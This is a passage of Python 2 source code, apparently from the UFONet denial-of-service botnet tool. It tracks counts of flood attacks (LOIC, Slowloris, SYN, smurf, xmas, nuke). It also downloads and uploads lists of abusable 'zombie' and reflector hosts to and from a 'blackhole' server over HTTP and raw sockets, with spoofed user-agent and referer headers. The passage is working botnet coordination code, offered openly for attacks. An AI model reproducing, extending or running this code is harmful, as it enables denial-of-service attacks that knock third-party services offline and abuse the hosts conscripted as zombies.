  1272. if int(chargo) > int(amax_chargo): # new max chargo found
  1273. amax_chargo = chargo # add new max chargo
  1274. else:
  1275. amax_chargo = data["max_chargo"]
  1276. data["max_chargo"] = amax_chargo
  1277. stats_json_file = open(self.mothership_stats_file, "w+")
  1278. stats_json_file.write(json.dumps(data))
  1279. stats_json_file.close()
  1280. def update_loic_stats(self):
  1281. stats_json_file = open(self.mothership_stats_file, "r")
  1282. data = json.load(stats_json_file)
  1283. stats_json_file.close()
  1284. aloic = data["loic"]
  1285. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1286. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1287. data["loic"] = aloic
  1288. stats_json_file = open(self.mothership_stats_file, "w+")
  1289. stats_json_file.write(json.dumps(data))
  1290. stats_json_file.close()
  1291. def update_loris_stats(self):
  1292. stats_json_file = open(self.mothership_stats_file, "r")
  1293. data = json.load(stats_json_file)
  1294. stats_json_file.close()
  1295. aloris = data["loris"]
  1296. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1297. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1298. data["loris"] = aloris
  1299. stats_json_file = open(self.mothership_stats_file, "w+")
  1300. stats_json_file.write(json.dumps(data))
  1301. stats_json_file.close()
  1302. def update_ufosyn_stats(self):
  1303. stats_json_file = open(self.mothership_stats_file, "r")
  1304. data = json.load(stats_json_file)
  1305. stats_json_file.close()
  1306. aufosyn = data["ufosyn"]
  1307. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1308. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1309. data["ufosyn"] = aufosyn
  1310. stats_json_file = open(self.mothership_stats_file, "w+")
  1311. stats_json_file.write(json.dumps(data))
  1312. stats_json_file.close()
  1313. def update_spray_stats(self):
  1314. stats_json_file = open(self.mothership_stats_file, "r")
  1315. data = json.load(stats_json_file)
  1316. stats_json_file.close()
  1317. aspray = data["spray"]
  1318. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1319. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1320. data["spray"] = aspray
  1321. stats_json_file = open(self.mothership_stats_file, "w+")
  1322. stats_json_file.write(json.dumps(data))
  1323. stats_json_file.close()
  1324. def update_smurf_stats(self):
  1325. stats_json_file = open(self.mothership_stats_file, "r")
  1326. data = json.load(stats_json_file)
  1327. stats_json_file.close()
  1328. asmurf = data["smurf"]
  1329. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1330. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1331. data["smurf"] = asmurf
  1332. stats_json_file = open(self.mothership_stats_file, "w+")
  1333. stats_json_file.write(json.dumps(data))
  1334. stats_json_file.close()
  1335. def update_xmas_stats(self):
  1336. stats_json_file = open(self.mothership_stats_file, "r")
  1337. data = json.load(stats_json_file)
  1338. stats_json_file.close()
  1339. axmas = data["xmas"]
  1340. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1341. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1342. data["xmas"] = axmas
  1343. stats_json_file = open(self.mothership_stats_file, "w+")
  1344. stats_json_file.write(json.dumps(data))
  1345. stats_json_file.close()
  1346. def update_nuke_stats(self):
  1347. stats_json_file = open(self.mothership_stats_file, "r")
  1348. data = json.load(stats_json_file)
  1349. stats_json_file.close()
  1350. anuke = data["nuke"]
  1351. anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats
  1352. self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats
  1353. data["nuke"] = anuke
  1354. stats_json_file = open(self.mothership_stats_file, "w+")
  1355. stats_json_file.write(json.dumps(data))
  1356. stats_json_file.close()
  1357. def uploading_list(self):
  1358. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1359. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1360. abductions = "abductions.txt.gz"
  1361. troops = "troops.txt.gz"
  1362. robots = "robots.txt.gz"
  1363. drones = "drones.txt.gz"
  1364. reflectors = "reflectors.txt.gz"
  1365. if self.options.timeout: # set timeout
  1366. try:
  1367. timeout = int(self.options.timeout)
  1368. except:
  1369. timeout = 1
  1370. else:
  1371. timeout = 1
  1372. if timeout < 1:
  1373. timeout = 1
  1374. try:
  1375. print("[AI] Checking integrity of [Blackhole]...\n")
  1376. if self.options.forcessl:
  1377. if self.options.proxy: # set proxy
  1378. self.proxy_transport(options.proxy)
  1379. req = urllib2.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1380. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1381. req = urllib2.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1382. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1383. req = urllib2.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1384. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1385. req = urllib2.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1386. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1387. req = urllib2.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1388. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1389. else:
  1390. if self.options.proxy: # set proxy
  1391. self.proxy_transport(options.proxy)
  1392. req = urllib2.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1393. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1394. req = urllib2.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1395. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1396. req = urllib2.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1397. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1398. req = urllib2.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1399. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1400. req = urllib2.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1401. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1402. print("[AI] [Control] [Blackhole] Reply: [VORTEX READY!] ;-)")
  1403. f_in_abductions = gzip.open(abductions_reply, 'rb')
  1404. f_out_abductions = open('abductions.txt', 'wb')
  1405. f_out_abductions.write(f_in_abductions.read())
  1406. f_in_abductions.close()
  1407. f_out_abductions.close()
  1408. os.remove(abductions) # remove .gz file
  1409. num_zombies = 0
  1410. with open('abductions.txt') as f:
  1411. for _ in f:
  1412. num_zombies = num_zombies + 1
  1413. print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))
  1414. f_in_robots = gzip.open(robots_reply, 'rb')
  1415. f_out_robots = open('robots.txt', 'wb')
  1416. f_out_robots.write(f_in_robots.read())
  1417. f_in_robots.close()
  1418. f_out_robots.close()
  1419. os.remove(robots) # remove .gz file
  1420. num_robots = 0
  1421. with open('robots.txt') as f:
  1422. for _ in f:
  1423. num_robots = num_robots + 1
  1424. print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))
  1425. f_in_troops = gzip.open(troops_reply, 'rb')
  1426. f_out_troops = open('troops.txt', 'wb')
  1427. f_out_troops.write(f_in_troops.read())
  1428. f_in_troops.close()
  1429. f_out_troops.close()
  1430. os.remove(troops) # remove .gz file
  1431. num_aliens = 0
  1432. with open(self.aliens_file) as f:
  1433. for _ in f:
  1434. num_aliens = num_aliens + 1
  1435. print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))
  1436. f_in_drones = gzip.open(drones_reply, 'rb')
  1437. f_out_drones = open('drones.txt', 'wb')
  1438. f_out_drones.write(f_in_drones.read())
  1439. f_in_drones.close()
  1440. f_out_drones.close()
  1441. os.remove(drones) # remove .gz file
  1442. num_drones = 0
  1443. with open('drones.txt') as f:
  1444. for _ in f:
  1445. num_drones = num_drones + 1
  1446. print("[Info] [Drones] on [Blackhole] : "+ str(num_drones))
  1447. f_in_reflectors = gzip.open(reflectors_reply, 'rb')
  1448. f_out_reflectors = open('reflectors.txt', 'wb')
  1449. f_out_reflectors.write(f_in_reflectors.read())
  1450. f_in_reflectors.close()
  1451. f_out_reflectors.close()
  1452. os.remove(reflectors) # remove .gz file
  1453. num_reflectors = 0
  1454. with open('reflectors.txt') as f:
  1455. for _ in f:
  1456. num_reflectors = num_reflectors + 1
  1457. print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))
  1458. print '-'*12 + '\n'
  1459. if not self.options.forceyes:
  1460. update_reply = raw_input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1461. print '-'*25
  1462. else:
  1463. update_reply = "Y"
  1464. if update_reply == "n" or update_reply == "N":
  1465. os.remove('abductions.txt') # remove abductions file
  1466. os.remove('troops.txt') # remove troops file
  1467. os.remove('robots.txt') # remove robots file
  1468. os.remove('drones.txt') # remove drones file
  1469. os.remove('reflectors.txt') # remove reflectors file
  1470. print "\n[Info] [AI] [Control] Aborting upload process and cleaning temporal files... -> [Exiting!]\n"
  1471. return
  1472. else:
  1473. print "\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n" # only upload valid zombies
  1474. print '='*35
  1475. zombies = self.extract_zombies()
  1476. if not zombies:
  1477. return
  1478. test = self.testing(zombies)
  1479. zombies_community = []
  1480. zombies_added = 0
  1481. f = open('abductions.txt')
  1482. abductions = f.readlines()
  1483. abductions = [abduction.strip() for abduction in abductions]
  1484. f.close()
  1485. fz = open(self.zombies_file)
  1486. zombies = fz.readlines()
  1487. zombies = [zombie.strip() for zombie in zombies]
  1488. fz.close()
  1489. for zombie in zombies:
  1490. if zombie not in abductions:
  1491. zombies_community.append(zombie)
  1492. zombies_added = zombies_added + 1
  1493. else:
  1494. pass
  1495. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  1496. aliens = self.extract_aliens()
  1497. if not aliens:
  1498. return
  1499. aliens_community = []
  1500. aliens_added = 0
  1501. f = open('troops.txt')
  1502. troops = f.readlines()
  1503. troops = [troop.strip() for troop in troops]
  1504. f.close()
  1505. fz = open(self.aliens_file)
  1506. aliens = fz.readlines()
  1507. aliens = [alien.strip() for alien in aliens]
  1508. fz.close()
  1509. for alien in aliens:
  1510. if alien not in troops:
  1511. aliens_community.append(alien)
  1512. aliens_added = aliens_added + 1
  1513. else:
  1514. pass
  1515. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  1516. droids = self.extract_droids()
  1517. if not droids:
  1518. return
  1519. droids_community = []
  1520. droids_added = 0
  1521. f = open('robots.txt')
  1522. robots = f.readlines()
  1523. robots = [robot.strip() for robot in robots]
  1524. f.close()
  1525. fz = open(self.droids_file)
  1526. droids = fz.readlines()
  1527. droids = [droid.strip() for droid in droids]
  1528. fz.close()
  1529. for droid in droids:
  1530. if droid not in robots:
  1531. droids_community.append(droid)
  1532. droids_added = droids_added + 1
  1533. else:
  1534. pass
  1535. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  1536. ucavs = self.extract_ucavs()
  1537. if not ucavs:
  1538. return
  1539. ucavs_community = []
  1540. ucavs_added = 0
  1541. f = open('drones.txt')
  1542. drones = f.readlines()
  1543. drones = [drone.strip() for drone in drones]
  1544. f.close()
  1545. fz = open(self.ucavs_file)
  1546. ucavs = fz.readlines()
  1547. ucavs = [ucav.strip() for ucav in ucavs]
  1548. fz.close()
  1549. for ucav in ucavs:
  1550. if ucav not in drones:
  1551. ucavs_community.append(ucav)
  1552. ucavs_added = ucavs_added + 1
  1553. else:
  1554. pass
  1555. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  1556. rpcs = self.extract_rpcs()
  1557. if not ucavs:
  1558. return
  1559. rpcs_community = []
  1560. rpcs_added = 0
  1561. f = open('reflectors.txt')
  1562. reflectors = f.readlines()
  1563. reflectors = [reflector.strip() for reflector in reflectors]
  1564. f.close()
  1565. fz = open(self.rpcs_file)
  1566. rpcs = fz.readlines()
  1567. rpcs = [rpc.strip() for rpc in rpcs]
  1568. fz.close()
  1569. for rpc in rpcs:
  1570. if rpc not in reflectors:
  1571. rpcs_community.append(rpc)
  1572. rpcs_added = rpcs_added + 1
  1573. else:
  1574. pass
  1575. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  1576. print '-'*12 + '\n'
  1577. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0: # not any zombie
  1578. os.remove('abductions.txt') # remove abductions file
  1579. os.remove('troops.txt') # remove troops file
  1580. os.remove('robots.txt') # remove robots file
  1581. os.remove('drones.txt') # remove ucavs file
  1582. os.remove('rpcs.txt') # remove rpcs file
  1583. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  1584. return
  1585. else:
  1586. fc = gzip.open('community_zombies.txt.gz', 'wb')
  1587. for zombie in zombies_community:
  1588. fc.write(zombie.strip()+"\n")
  1589. fc.close()
  1590. os.remove('abductions.txt') # remove abductions file
  1591. fc = gzip.open('community_aliens.txt.gz', 'wb')
  1592. for alien in aliens_community:
  1593. fc.write(alien.strip()+"\n")
  1594. fc.close()
  1595. os.remove('troops.txt') # remove troops file
  1596. fc = gzip.open('community_droids.txt.gz', 'wb')
  1597. for droid in droids_community:
  1598. fc.write(droid.strip()+"\n")
  1599. fc.close()
  1600. os.remove('robots.txt') # remove robots file
  1601. fc = gzip.open('community_ucavs.txt.gz', 'wb')
  1602. for ucav in ucavs_community:
  1603. fc.write(ucav.strip()+"\n")
  1604. fc.close()
  1605. os.remove('drones.txt') # remove drones file
  1606. fc = gzip.open('community_rpcs.txt.gz', 'wb')
  1607. for rpc in rpcs_community:
  1608. fc.write(rpc.strip()+"\n")
  1609. fc.close()
  1610. os.remove('reflectors.txt') # remove reflectors file
  1611. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  1612. try: # open a socket and send data to the blackhole reciever port
  1613. host = self.blackhole
  1614. cport = 9991
  1615. mport = 9990
  1616. try:
  1617. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  1618. cs.connect((host, cport))
  1619. cs.send("SEND " + 'community_zombies.txt.gz')
  1620. cs.close()
  1621. f = open('community_zombies.txt.gz', "rb")
  1622. data = f.read()
  1623. f.close()
  1624. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1625. ms.connect((host, mport))
  1626. ms.send(data)
  1627. ms.close()
  1628. os.remove('community_zombies.txt.gz') # remove local zombies .gz file after transfer
  1629. time.sleep(1)
  1630. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1631. cs.connect((host, cport))
  1632. cs.send("SEND " + 'community_aliens.txt.gz')
  1633. cs.close()
  1634. f = open('community_aliens.txt.gz', "rb")
  1635. data = f.read()
  1636. f.close()
  1637. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1638. ms.connect((host, mport))
  1639. ms.send(data)
  1640. ms.close()
  1641. os.remove('community_aliens.txt.gz') # remove local aliens .gz file after transfer
  1642. time.sleep(1)
  1643. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1644. cs.connect((host, cport))
  1645. cs.send("SEND " + 'community_robots.txt.gz')
  1646. cs.close()
  1647. f = open('community_droids.txt.gz', "rb")
  1648. data = f.read()
  1649. f.close()
  1650. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1651. ms.connect((host, mport))
  1652. ms.send(data)
  1653. ms.close()
  1654. os.remove('community_droids.txt.gz') # remove local droids .gz file after transfer
  1655. time.sleep(1)
  1656. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1657. cs.connect((host, cport))
  1658. cs.send("SEND " + 'community_ucavs.txt.gz')
  1659. cs.close()
  1660. f = open('community_ucavs.txt.gz', "rb")
  1661. data = f.read()
  1662. f.close()
  1663. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1664. ms.connect((host, mport))
  1665. ms.send(data)
  1666. ms.close()
  1667. os.remove('community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  1668. time.sleep(1)
  1669. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1670. cs.connect((host, cport))
  1671. cs.send("SEND " + 'community_rpcs.txt.gz')
  1672. cs.close()
  1673. f = open('community_rpcs.txt.gz', "rb")
  1674. data = f.read()
  1675. f.close()
  1676. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1677. ms.connect((host, mport))
  1678. ms.send(data)
  1679. ms.close()
  1680. os.remove('community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1681. time.sleep(2) # sleep a bit more
  1682. print '-'*12 + '\n'
  1683. print("[Info] [AI] Transfer -> [DONE!]\n")
  1684. except Exception, e:
  1685. print str(e) + "\n"
  1686. except:
  1687. print '-'*12 + '\n'
  1688. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  1689. return
  1690. except:
  1691. print '-'*12 + '\n'
  1692. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  1693. return
  1694. def update_gui_data(self):
  1695. # download all GUI stream data
  1696. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1697. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1698. if self.options.proxy: # set proxy
  1699. self.proxy_transport(self.options.proxy)
  1700. if self.options.timeout: # set timeout
  1701. try:
  1702. timeout = int(self.options.timeout)
  1703. except:
  1704. timeout = 1
  1705. else:
  1706. timeout = 1
  1707. if timeout < 1:
  1708. timeout = 1
  1709. if self.options.forcessl:
  1710. news = urllib2.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1711. news_reply = urllib2.urlopen(news, context=self.ctx, timeout=timeout).read()
  1712. missions = urllib2.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1713. missions_reply = urllib2.urlopen(missions, context=self.ctx, timeout=timeout).read()
  1714. board = urllib2.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1715. board_reply = urllib2.urlopen(board, context=self.ctx, timeout=timeout).read()
  1716. grid = urllib2.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1717. grid_reply = urllib2.urlopen(grid, context=self.ctx, timeout=timeout).read()
  1718. wargames = urllib2.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1719. wargames_reply = urllib2.urlopen(wargames, context=self.ctx, timeout=timeout).read()
  1720. else:
  1721. news = urllib2.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1722. news_reply = urllib2.urlopen(news, context=self.ctx).read()
  1723. missions = urllib2.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1724. missions_reply = urllib2.urlopen(missions, context=self.ctx).read()
  1725. board = urllib2.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1726. board_reply = urllib2.urlopen(board, context=self.ctx).read()
  1727. grid = urllib2.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1728. grid_reply = urllib2.urlopen(grid, context=self.ctx).read()
  1729. wargames = urllib2.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1730. wargames_reply = urllib2.urlopen(wargames, context=self.ctx).read()
  1731. f = open(self.news_file, 'w')
  1732. f.write(news_reply)
  1733. f.close()
  1734. f = open(self.missions_file, 'w')
  1735. f.write(missions_reply)
  1736. f.close()
  1737. f = open(self.board_file, 'w')
  1738. f.write(board_reply)
  1739. f.close()
  1740. f = open(self.grid_file, 'w')
  1741. f.write(grid_reply)
  1742. f.close()
  1743. f = open(self.wargames_file, 'w')
  1744. f.write(wargames_reply)
  1745. f.close()
  1746. print '-'*25 + "\n"
  1747. print "[Info] [AI] GUI data correctly updated:\n"
  1748. if news_reply:
  1749. print "[Info] [AI] [News] : OK!"
  1750. if missions_reply:
  1751. print "[Info] [AI] [Missions]: OK!"
  1752. if board_reply:
  1753. print "[Info] [AI] [Board] : OK!"
  1754. if grid_reply:
  1755. print "[Info] [AI] [Grid] : OK!"
  1756. if wargames_reply:
  1757. print "[Info] [AI] [Wargames]: OK!"
  1758. print '-'*25
  1759. print "\n[AI] "+self.exit_msg+"\n"
  1760. def downloading_list(self):
  1761. # add your mirror to protect/share/distribute zombies
  1762. try:
  1763. print("[AI] Trying [Blackhole]: "+self.blackhole+"\n")
  1764. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1765. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1766. if self.options.timeout: # set timeout
  1767. try:
  1768. timeout = int(self.options.timeout)
  1769. except:
  1770. timeout = 1
  1771. else:
  1772. timeout = 1
  1773. if timeout < 1:
  1774. timeout = 1
  1775. if self.options.forcessl:
  1776. if self.options.proxy: # set proxy
  1777. self.proxy_transport(options.proxy)
  1778. req = urllib2.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1779. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1780. req = urllib2.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1781. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1782. req = urllib2.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1783. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1784. req = urllib2.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1785. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1786. req = urllib2.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1787. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1788. else:
  1789. if self.options.proxy: # set proxy
  1790. self.proxy_transport(options.proxy)
  1791. req = urllib2.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  1792. abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1793. req = urllib2.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  1794. troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1795. req = urllib2.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  1796. robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1797. req = urllib2.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  1798. drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1799. req = urllib2.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  1800. reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  1801. f = open('abductions.txt.gz', 'w')
  1802. f.write(abductions_reply)
  1803. f.close()
  1804. f = open('troops.txt.gz', 'w')
  1805. f.write(troops_reply)
  1806. f.close()
  1807. f = open('robots.txt.gz', 'w')
  1808. f.write(robots_reply)
  1809. f.close()
  1810. f = open('drones.txt.gz', 'w')
  1811. f.write(drones_reply)
  1812. f.close()
  1813. f = open('reflectors.txt.gz', 'w')
  1814. f.write(reflectors_reply)
  1815. f.close()
  1816. print("[AI] [Control] [Blackhole] Reply: [VORTEX READY!] ;-)")
  1817. except:
  1818. print("[AI] [Control] [Blackhole] Reply: [VORTEX FAILED!]")
  1819. print '-'*12 + '\n'
  1820. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] -> [Exiting!]\n")
  1821. return
  1822. print '-'*12 + '\n'
  1823. f_in_abductions = gzip.open('abductions.txt.gz', 'rb')
  1824. f_out_abductions = open('abductions.txt', 'wb')
  1825. f_out_abductions.write(f_in_abductions.read())
  1826. f_in_abductions.close()
  1827. f_out_abductions.close()
  1828. os.remove('abductions.txt.gz') # remove abductions .gz file
  1829. f_in_troops = gzip.open('troops.txt.gz', 'rb')
  1830. f_out_troops = open('troops.txt', 'wb')
  1831. f_out_troops.write(f_in_troops.read())
  1832. f_in_troops.close()
  1833. f_out_troops.close()
  1834. os.remove('troops.txt.gz') # remove troops .gz file
  1835. f_in_robots = gzip.open('robots.txt.gz', 'rb')
  1836. f_out_robots = open('robots.txt', 'wb')
  1837. f_out_robots.write(f_in_robots.read())
  1838. f_in_robots.close()
  1839. f_out_robots.close()
  1840. os.remove('robots.txt.gz') # remove robots .gz file
  1841. f_in_drones = gzip.open('drones.txt.gz', 'rb')
  1842. f_out_drones = open('drones.txt', 'wb')
  1843. f_out_drones.write(f_in_drones.read())
  1844. f_in_drones.close()
  1845. f_out_drones.close()
  1846. os.remove('drones.txt.gz') # remove drones .gz file
  1847. f_in_reflectors = gzip.open('reflectors.txt.gz', 'rb')
  1848. f_out_reflectors = open('reflectors.txt', 'wb')
  1849. f_out_reflectors.write(f_in_reflectors.read())
  1850. f_in_reflectors.close()
  1851. f_out_reflectors.close()
  1852. os.remove('reflectors.txt.gz') # remove reflectors .gz file
  1853. num_abductions = 0
  1854. with open('abductions.txt') as f:
  1855. for _ in f:
  1856. num_abductions = num_abductions + 1
  1857. print("[Info] Zombies: " + str(num_abductions))
  1858. num_robots = 0
  1859. with open('robots.txt') as f:
  1860. for _ in f:
  1861. num_robots = num_robots + 1
  1862. print("[Info] Droids : " + str(num_robots))
  1863. num_troops = 0
  1864. with open('troops.txt') as f:
  1865. for _ in f:
  1866. num_troops = num_troops + 1
  1867. print("[Info] Aliens : " + str(num_troops))
  1868. num_drones = 0
  1869. with open('drones.txt') as f:
  1870. for _ in f:
  1871. num_drones = num_drones + 1
  1872. print("[Info] UCAVs : " + str(num_drones))
  1873. num_reflectors = 0
  1874. with open('reflectors.txt') as f:
  1875. for _ in f:
  1876. num_reflectors = num_reflectors + 1
  1877. print("[Info] X-RPCs : " + str(num_reflectors))
  1878. total_zombies = num_abductions + num_troops + num_robots + num_drones + num_reflectors
  1879. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  1880. print '-'*12
  1881. if not self.options.forceyes:
  1882. update_reply = raw_input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  1883. print '-'*25
  1884. else:
  1885. update_reply = "Y"
  1886. if update_reply == "n" or update_reply == "N":
  1887. os.remove('abductions.txt') # remove abductions file
  1888. os.remove('troops.txt') # remove troops file
  1889. os.remove('robots.txt') # remove robots file
  1890. os.remove('drones.txt') # remove drones file
  1891. os.remove('reflectors.txt') # remove reflectors file
  1892. print "\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]"
  1893. print '-'*25
  1894. print "\n[AI] "+self.exit_msg+"\n"
  1895. else:
  1896. zombies_ready = []
  1897. f = open('abductions.txt')
  1898. abductions = f.readlines()
  1899. f.close()
  1900. fz = open(self.zombies_file)
  1901. zombies = fz.readlines()
  1902. fz.close()
  1903. for abduction in abductions:
  1904. abduction = abduction.replace('\n','')
  1905. if abduction not in zombies:
  1906. zombies_ready.append(abduction)
  1907. else:
  1908. pass
  1909. self.update_zombies(zombies_ready)
  1910. os.remove('abductions.txt') # remove abductions .txt file
  1911. aliens_ready = []
  1912. f = open('troops.txt')
  1913. troops = f.readlines()
  1914. f.close()
  1915. fz = open(self.aliens_file)
  1916. aliens = fz.readlines()
  1917. fz.close()
  1918. for alien in troops:
  1919. alien = alien.replace('\n','')
  1920. if alien not in aliens:
  1921. aliens_ready.append(alien)
  1922. else:
  1923. pass
  1924. self.update_aliens(aliens_ready)
  1925. os.remove('troops.txt') # remove troops .txt file
  1926. droids_ready = []
  1927. f = open('robots.txt')
  1928. robots = f.readlines()
  1929. f.close()
  1930. fz = open(self.droids_file)
  1931. droids = fz.readlines()
  1932. fz.close()
  1933. for droid in robots:
  1934. droid = droid.replace('\n','')
  1935. if droid not in droids:
  1936. droids_ready.append(droid)
  1937. else:
  1938. pass
  1939. self.update_droids(droids_ready)
  1940. os.remove('robots.txt') # remove robots .txt file
  1941. ucavs_ready = []
  1942. f = open('drones.txt')
  1943. drones = f.readlines()
  1944. f.close()
  1945. fz = open(self.ucavs_file)
  1946. ucavs = fz.readlines()
  1947. fz.close()
  1948. for drone in drones:
  1949. drone = drone.replace('\n','')
  1950. if drone not in ucavs:
  1951. ucavs_ready.append(drone)
  1952. else:
  1953. pass
  1954. self.update_ucavs(ucavs_ready)
  1955. os.remove('drones.txt') # remove drones .txt file
  1956. rpcs_ready = []
  1957. f = open('reflectors.txt')
  1958. reflectors = f.readlines()
  1959. f.close()
  1960. fz = open(self.rpcs_file)
  1961. rpcs = fz.readlines()
  1962. fz.close()
  1963. for reflector in reflectors:
  1964. reflector = reflector.replace('\n','')
  1965. if reflector not in rpcs:
  1966. rpcs_ready.append(reflector)
  1967. else:
  1968. pass
  1969. self.update_rpcs(rpcs_ready)
  1970. os.remove('reflectors.txt') # remove reflectors .txt file
  1971. print "\n[Info] [AI] Botnet updated! -> ;-)"
  1972. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  1973. if not self.options.forceyes: # ask for update everything
  1974. print '-'*25 + "\n"
  1975. update_reply = raw_input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  1976. else:
  1977. update_reply = "Y"
  1978. if update_reply == "n" or update_reply == "N":
  1979. print "\n[AI] "+self.exit_msg+"\n"
  1980. return
  1981. else:
  1982. try:
  1983. update_gui = self.update_gui_data() # update GUI data
  1984. except:
  1985. print '-'*25 +"\n"
  1986. print "[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]"
